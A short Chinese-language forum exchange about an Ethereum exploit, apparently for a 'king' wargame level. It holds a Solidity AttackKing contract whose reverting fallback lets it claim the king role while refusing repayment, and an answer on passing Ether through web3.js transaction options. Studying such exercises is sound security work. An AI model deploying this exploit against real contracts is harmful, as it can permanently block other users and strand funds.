我的代码如下
pragma solidity ^0.4.10;
contract AttackKing {
   function () public{
        revert();
    }
    constructor (address _target) payable public{
        _target.call.value(msg.value)(bytes4(keccak256("becomeking()")));
    }
}address _target可以在这里填入
 那么msg.value呢,要怎么传进去?
那么msg.value呢,要怎么传进去?
提交交易的时候, 你应该可以看到像下面这样的交易选项参数:
{
     from: web3.eth.accounts[0], 
     data: '...', 
     gas: '...'
   },在这里面加一个value:
{
     from: web3.eth.accounts[0], 
     data: '...', 
     gas: '...',
    value:  '1000000000'
},关于交易选项参数可以查看 web3.js 文档 - 发起交易